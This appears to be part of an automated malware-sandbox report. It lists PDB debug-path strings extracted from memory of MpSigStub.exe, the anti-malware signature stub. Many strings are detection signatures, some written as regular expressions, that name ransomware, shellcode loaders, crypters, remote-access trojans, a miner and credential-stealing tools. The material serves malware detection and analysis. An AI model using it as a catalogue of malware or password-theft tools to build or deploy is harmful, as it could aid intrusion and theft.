        Source: Binary string: C:\\Users\\Lucca\\AppData\\Local\\Temp\\.*\.pdb source: MpSigStub.exe, 00000023.00000003.18307074601.0000015B1AA4C000.00000004.00000001.sdmp
        Source: Binary string: \Ransomware2.0.pdb source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmp
        Source: Binary string: ToolbarCore\toolbar\ie\src\toolbar\wrapper\Release\externalwrapper.pdbx source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmp
        Source: Binary string: C:\\Users\\john\\Documents\\Visual Studio 2008\\Projects\\EncryptFile.*\\.*\\EncryptFile.exe.pdb source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: \DownloaderMain\DownloaderDll.pdb source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmp
        Source: Binary string: \rANSOM\rANSOM\obj\Sanyasteakler\rANSOM.pdb source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp
        Source: Binary string: \Visual Studio 2010\Projects\installer4\installer\obj\x86\Release\installer.pdbxx source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: megasync.pdb source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmp
        Source: Binary string: \\wininet_fr_20200212\\.+\\?dlln\.pdb source: MpSigStub.exe, 00000023.00000003.18297885321.0000015B1B490000.00000004.00000001.sdmp
        Source: Binary string: msoert2.pdb3 source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp
        Source: Binary string: csgoInjector.pdb source: MpSigStub.exe, 00000023.00000003.18351150877.0000015B1B40C000.00000004.00000001.sdmp
        Source: Binary string: api-ms-win-core-console-l1-1-0.pdb source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp
        Source: Binary string: \output\MinSizeRel\updrem.pdb] source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmp
        Source: Binary string: vga256.pdb source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmp
        Source: Binary string: kernel32.pdb source: MpSigStub.exe, 00000023.00000003.18329979252.0000015B1AE1C000.00000004.00000001.sdmp
        Source: Binary string: x:\Dev_CPP\Work\VS_KnzStr_Adware\Release\VS_Work1.pdbx source: MpSigStub.exe, 00000023.00000003.18318994950.0000015B1A589000.00000004.00000001.sdmp
        Source: Binary string: \\WOO\\HT\\.+Server.+\.pdb source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmp
        Source: Binary string: acpi.pdbN source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: Fwizzlabs\source\repos\ConsoleMap\ConsoleMap\obj\Release\FancHuible.pdb source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\ncpa\objfre\i386\ncpa.pdb0 source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmp
        Source: Binary string: m:\VP\QM\trunk\output\Recorder.pdb source: MpSigStub.exe, 00000023.00000003.18288248948.0000015B1B1FB000.00000004.00000001.sdmp
        Source: Binary string: stscast.pdb source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmp
        Source: Binary string: winscard.pdb source: MpSigStub.exe, 00000023.00000003.18319810399.0000015B1BE00000.00000004.00000001.sdmp
        Source: Binary string: bin\Release\LiveUpdateWPP.pdbxd source: MpSigStub.exe, 00000023.00000003.18301552816.0000015B1B9FA000.00000004.00000001.sdmp
        Source: Binary string: ^shell\BATLE_SOURCE\SampleService_run_shellcode_from-memory10-02-2016\Release\SampleService.pdb source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp
        Source: Binary string: \Visual Studio 2010\Projects\installer4\installer\obj\x86\Release\installer.pdb source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: \InstallGoogleToolBar\InstallGoogleToolBar\obj\Debug\InstallGoogleToolBar.pdb source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp
        Source: Binary string: \Release\shellcode.pdb source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: \ProcExpDriver.pdb source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp
        Source: Binary string: \Current\wear.pdb source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp
        Source: Binary string: PCSUQuickScan.pdb source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp
        Source: Binary string: hWEHW#@HJERKJERJER^$.Pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: e:\caoe.PDBa source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: \yacdl\Release\yacdl.pdb source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: Krypton\source\repos\UAC\UAC\obj\Release\UAC.pdb source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmp
        Source: Binary string: mpengine.pdb source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmp
        Source: Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmp
        Source: Binary string: XrfZPp2C.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: UsoCoreWorker.pdb source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp
        Source: Binary string: Z:\\Work\\Make Troy\\Concealment Troy\\Exe_Concealment_Troy\(Winlogon_Shell\)\\.*.pdb source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp
        Source: Binary string: _sa\bin\Release\ClientSAHook.pdb source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmp
        Source: Binary string: w:\work\vcprj\prj\downloader\Release\injdldr.pdb source: MpSigStub.exe, 00000023.00000003.18334520035.0000015B1A6C6000.00000004.00000001.sdmp
        Source: Binary string: c:\To\In\All\With\Within\Value.pdb source: MpSigStub.exe, 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmp
        Source: Binary string: api-ms-win-core-localization-l1-2-0.pdb source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmp
        Source: Binary string: security.pdb source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmp
        Source: Binary string: d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\w32tm\objfre\i386\w32tm.pdb0 source: MpSigStub.exe, 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmp
        Source: Binary string: \\MoonRat_Develop\\.+\\obj\\Release\\.+\.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: \bin\Release.Minimal\officer.pdb source: MpSigStub.exe, 00000023.00000003.18302834450.0000015B1BFE8000.00000004.00000001.sdmp
        Source: Binary string: C:\src\similar\clients\our\new_bundler\nsis_plugins\plugins\safed.pdb source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmp
        Source: Binary string: \InstallerMainV6_Yrrehs\Release\Main.pdb source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmp
        Source: Binary string: adptif.pdb3 source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp
        Source: Binary string: LiuLiangBao\Release\LiuLiangBao.pdb source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmp
        Source: Binary string: \Conduit\RnD\Client\IE\Dev\6.16\6.16.1\Release\hk64tbedrs.pdb source: MpSigStub.exe, 00000023.00000003.18293045113.0000015B1BC4D000.00000004.00000001.sdmp
        Source: Binary string: D:\yo\chaos\Release\chaos.pdb source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp
        Source: Binary string: nafde.pdb source: MpSigStub.exe, 00000023.00000003.18301552816.0000015B1B9FA000.00000004.00000001.sdmp
        Source: Binary string: .+\\WormWin32 Poenon.+\\.+.pdb source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmp
        Source: Binary string: autofmt.pdb source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmp
        Source: Binary string: PoolMonPlugin.pdb source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmp
        Source: Binary string: TuneUpUtilitiesApp32.pdb source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmp
        Source: Binary string: d:\pavbld\amcore\Signature\Source\sigutils\vdlls\Microsoft.NET\VFramework\mscorlib\mscorlib.pdb source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp
        Source: Binary string: sfc.pdb source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: \Projects\FlashPlayerPlugin\FlashPlayerPlugin\obj\Release\FlashPlayerPlugin.pdb source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmp
        Source: Binary string: Uc:\Users\Main\Desktop\PackagingModule\PackagingModule\obj\Release\PackagingModule.pdb] source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmp
        Source: Binary string: AWInstaller.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: HookPasswordReset.pdb source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmp
        Source: Binary string: padcryptUninstaller\obj\Debug\padcryptUninstaller.pdb source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmp
        Source: Binary string: e:\mpengine\amcore\MpEngine\mavutils\Source\sigutils\vdlls\Microsoft.NET\VFramework\System.Xml\System.Xml.pdb source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmp
        Source: Binary string: PassView.pdb source: MpSigStub.exe, 00000023.00000003.18314518681.0000015B1B7A8000.00000004.00000001.sdmp
        Source: Binary string: Ransom:MSIL/Cryptolocker.PDB!MTB source: MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmp
        Source: Binary string: tdc.pdb3 source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: msoert2.pdb source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp
        Source: Binary string: Tokenvator.pdb source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: I \\WOO\\HT\\AD_Attacker\\.+\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: D:\DevPatch\_FINAL\Bin\MapleStory.pdbx source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmp
        Source: Binary string: \iSafe\trunk\bin\iSafeSvc2.pdb source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: d:\build.obj.x86fre\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\finger\objfre\i386\finger.pdb source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmp
        Source: Binary string: nanamnana\obj\Debug\nanamnana.pdbx source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmp
        Source: Binary string: dfsfgjfgdes.pdb source: MpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmp
        Source: Binary string: L6\\spam\\export_email_outlook\\cpp\\.*\\export..x\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: Qc:\users\mz\documents\visual studio 2013\Projects\Shellcode\Release\Shellcode.pdb] source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp
        Source: Binary string: \Release\initialexe\torch.exe.pdb source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: \Akl\kh\Release\kh.pdb source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmp
        Source: Binary string: d:\workspace\ebclient\dmsetup\dmsched2\Release\dmsched2.pdbx source: MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmp
        Source: Binary string: \ExtractedBundle\RTM_ImageModRec_1.1.5.0_x64\RTM_ImageModRec.pdb source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmp
        Source: Binary string: \\spam\\export_email_outlook\\cpp\\.*\\export..x\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: (d:\p\loser\a\a\objfre_wxp_x86\i386\A.pdb source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmp
        Source: Binary string: -\BetterInstaller\Release\BetterInstaller.pdb source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmp
        Source: Binary string: dxva2.pdb3 source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmp
        Source: Binary string: D:\code\ccminer\Release\x64\ccminer.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: obj\Debug\WinCalendar.pdb source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp
        Source: Binary string: D:\tortoiseSVN\nsc5\bin\Release\nssock2.pdbd source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmp
        Source: Binary string: Qc:\users\mz\documents\visual studio 2013\Projects\Shellcode\Release\Shellcode.pdb source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp
        Source: Binary string: subst.pdb source: MpSigStub.exe, 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmp
        Source: Binary string: \BaseFlash.pdb source: MpSigStub.exe, 00000023.00000003.18339366931.0000015B1C174000.00000004.00000001.sdmp
        Source: Binary string: schtasks.pdbd source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmp
        Source: Binary string: Win32\Release\Sdrsrv.pdb source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp
        Source: Binary string: Cryptor_noVSSnoPers.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: \Release\SSEngine.pdb source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmp
        Source: Binary string: C:\mainProduct(old)\x86_bild_cryptor\shell_gen\Release\data_protect2.pdb source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp
        Source: Binary string: d:\build.obj.x86chk\amcore\mpengine\mavutils\source\sigutils\vfilesystem\files\lodctr\objchk\i386\lodctr.pdb source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmp
        Source: Binary string: Archer_Add_Packet\Release\Packet.pdb source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
        Source: Binary string: \tcrypt\Release\s_low.pdbx source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp
        Source: Binary string: \R980\Release\R980.pdb source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp
        Source: Binary string: P'Deamon-dll.*\\Release\\Deamon-dll\.pdb source: MpSigStub.exe, 00000023.00000003.18297885321.0000015B1B490000.00000004.00000001.sdmp
        Source: Binary string: M(\\qbot_debugger\\.+\\qbot_debugger\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: KSLD.pdbGCTL source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmp
        Source: Binary string: freefilesync_x64.pdb source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmp
        Source: Binary string: \T+M\Result\DocPrint.pdb] source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmp
        Source: Binary string: \13930308\Bot_70_FIX HEADER_FIX_LONGURL 73_StableAndNewProtocol - login all\Release\Bot.pdb source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp
        Source: Binary string: \Release\mailermodule199.pdb source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmp
        Source: Binary string: P)E:\\Production\\Tool-Developing\\.+\.pdb source: MpSigStub.exe, 00000023.00000003.18297885321.0000015B1B490000.00000004.00000001.sdmp
        Source: Binary string: d:\74\55\Child\Require\bank\Bear\rather\66\Boy\front\special\straight\wood\1\guide.pdb source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp
        Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmp
        Source: Binary string: KSLD.pdb source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmp
        Source: Binary string: \wyvernlocker.pdb source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmp
        Source: Binary string: \SecurityService\SecurityService\obj\Release\WindowsSecurityService.pdb source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmp
        Source: Binary string: cryptdll.pdb source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp
        Source: Binary string: 2gerGW@4herhw*9283y4huWO.pdb] source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmp
        Source: Binary string: D:\Projekty\EvulSoft\TibiSavePass\Programy\Stub VISUAL\Release\Stub VISUAL.pdb source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmp
        Source: Binary string: !#HSTR:Win32/sfxrar.pdb.A source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: .+:\\.+\\.*Pedro\\.*PH_Secret_Application.*\\PH_Secret_Application.*\\.+\\Release\\.*.pdb source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp
        Source: Binary string: !6zyA6@267=HPS.C|dMqd4-qaN|yjm.pdb source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmp
        Source: Binary string: eTiq_WaEN__y9F89zLukjmM.pdbx source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: pid.pdb3 source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: @.pdb source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmp
        Source: Binary string: HSTR:Win32/sfxrar.pdb.A source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmp
        Source: Binary string: vssadmin.pdb source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmp
        Source: Binary string: ciTfDCxMQU0a5/DDEyGwn8ta.z4.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: r:\rel\iMS-srvreg56.pdb source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp
        Source: Binary string: 50G:\\combustion\\aiding\\breaching\\stooping.pdb source: MpSigStub.exe, 00000023.00000003.18294597236.0000015B1A5CB000.00000004.00000001.sdmp
        Source: Binary string: \Release\Cloudy.pdb] source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp
        Source: Binary string: msnetobj.pdb3 source: MpSigStub.exe, 00000023.00000003.18343980449.0000015B1ACD2000.00000004.00000001.sdmp
        Source: Binary string: lsasrv.pdb source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmp
        Source: Binary string: api-ms-win-core-comm-l1-1-0.pdb source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmp
        Source: Binary string: llq001\src\out\Official\UpdateChecker.exe.pdb source: MpSigStub.exe, 00000023.00000003.18339677269.0000015B1AB04000.00000004.00000001.sdmp
        Source: Binary string: fA\\win\\build\\src\\build\\Release\\chrome_frame_helper\.exe\.pdb source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: C:\Proyectos\desktop_apps\Updater\UpdaterVittalia\obj\Release\UpdaterService.pdb source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: \ransom.pdb source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp
        Source: Binary string: K8MiniPage.pdb source: MpSigStub.exe, 00000023.00000003.18322610510.0000015B1A546000.00000004.00000001.sdmp
        Source: Binary string: PELoader.pdb source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmp
        Source: Binary string: _darkshell\i386\DarkShell.pdb] source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp
        Source: Binary string: d:\\MODULOS\\PROJETO BATMAN\\Loaders\\Loader C# Crypter .* LINK .*\\obj\\x86\\Debug\\golfzinho.pdb source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmp
        Source: Binary string: Session.*\\Release\\GenIt\.pdb source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmp
        Source: Binary string: \Release\ProtectedService.pdb source: MpSigStub.exe, 00000023.00000003.18311262453.0000015B1BE1B000.00000004.00000001.sdmp
        Source: Binary string: out\Release\360EntClient.pdb source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmp
        Source: Binary string: msvfw32.pdb` source: MpSigStub.exe, 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmp
        Source: Binary string: \release\LSASecretsView.pdbx source: MpSigStub.exe, 00000023.00000003.18314518681.0000015B1B7A8000.00000004.00000001.sdmp
        Source: Binary string: [cC]:\\Project(s)?\\ATLResDLL\\release\\AtlResDllR(es)?\.pdb source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: #CNC Plugins Tools\ProgFactory_d.pdb source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmp
        Source: Binary string: SelfMother\SeaFriend\SmallStore\save.pdb source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp
        Source: Binary string: *.pdb.|!\VstsGitSourceIndex.exe source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmp
        Source: Binary string: \Downloads\NanoCoreSwiss\MyClientPlugin\obj\Debug\MyClientPlugin.pdb source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmp
        Source: Binary string: BrowserManager.pdbxx source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp
        Source: Binary string: F:\rdpscan\Bin\Release_logged\x64\rdpscan.pdb source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmp
        Source: Binary string: 4G:\Work\Bison\BisonNewHNStubDll\Release\Goopdate.pdb] source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmp
        Source: Binary string: 'D:\code\ccminer\Release\x64\ccminer.pdb source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: \FARATCLIENT\obj\Debug\FARATCLIENT.pdb source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmp
        Source: Binary string: msvfw32.pdb source: MpSigStub.exe, 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmp
        Source: Binary string: hal.pdb source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmp
        Source: Binary string: JOe|OBzjATck#psb/.pdb source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp
        Source: Binary string: \mspass.pdb source: MpSigStub.exe, 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmp
        Source: Binary string: \bin\pxdl.pdb source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmp
        Source: Binary string: JwEEPNd--41U6@yY_2Y.WDH6GG*6RbR.pdb source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp
        Source: Binary string: flzEnlAs.pdb source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmp
        Source: Binary string: D:\WorkObject\SupL_EnableBHO\BHOEnabler\bin\BHOEnabler.pdb source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmp
        Source: Binary string: WirelessKeyView.pdb source: MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmp
        Source: Binary string: i=[cC]:\\Project(s)?\\ATLResDLL\\release\\AtlResDllR(es)?\.pdb source: MpSigStub.exe, 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp
        Source: Binary string: \SSFK\Release\SSFK.pdb source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmp
        Source: Binary string: $\SuperLight\release\MfcDllServer.pdb source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp
        Source: Binary string: 3.C:\\Obnubilate\\Temp\\[a-z0-9]{26}\\Stub\.pdb source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmp
        Source: Binary string: Release\adviser.pdb source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmp
        Source: Binary string: <7\\Project's\\xCrypt3r\\stub_crypter\\Release\\stub.pdb source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp
        Source: Binary string: JJDownLoader\Bin\JJDownLoader_a.pdb source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmp
        Source: Binary string: \tutorial\Release\CoffeeShop6.pdb source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmp
        Source: Binary string: iashlpr.pdb source: MpSigStub.exe, 00000023.00000003.18344667874.0000015B1B06E000.00000004.00000001.sdmp
        Source: Binary string: .C:\source\src\nssm\out\Release\win64\absrv.pdb source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmp
        Source: Binary string: advapi32.pdb source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmp
        Source: Binary string: ZAService.pdb source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmp
        Source: Binary string: gMolq.pdb source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmp
        Source: Binary string: O&\\wininet_fr_20200212\\.+\\?dlln\.pdb source: MpSigStub.exe, 00000023.00000003.18297885321.0000015B1B490000.00000004.00000001.sdmp
        Source: Binary string: rafotech\minisoft\tools\xyfa\Release\xyfa.pdb source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmp
